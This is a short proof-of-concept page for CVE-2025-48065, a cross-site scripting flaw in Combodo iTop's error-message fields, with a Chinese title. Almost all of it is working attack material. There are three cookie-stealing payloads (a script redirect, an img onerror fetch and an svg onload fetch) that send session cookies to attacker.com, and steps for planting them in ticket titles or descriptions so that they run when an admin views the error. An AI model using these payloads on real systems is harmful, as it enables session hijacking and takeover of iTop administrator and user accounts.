CVE-2025-48065 Combodo iTop跨站脚本漏洞

<!-- CVE-2025-48065 XSS PoC for Combodo iTop --> <!-- This PoC demonstrates the XSS vulnerability in error message fields --> <!-- Step 1: Inject malicious script into a form field --> <!-- Example: In ticket title or description field --> <script> // Steal session cookies document.location='https://attacker.com/steal?c='+document.cookie; </script> <!-- Alternative payload using img tag --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Alternative payload using SVG --> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- Step 2: Trigger error condition to display malicious content --> <!-- Submit form with invalid data to trigger error message rendering --> <!-- Step 3: When admin/user views the error, script executes --> <!-- Attacker receives stolen session data --> <!-- Recommended testing steps: --> <!-- 1. Login to iTop as regular user --> <!-- 2. Create new ticket with XSS payload in title/description --> <!-- 3. Submit with invalid data to trigger validation error --> <!-- 4. Observe if alert box appears or external request is made -->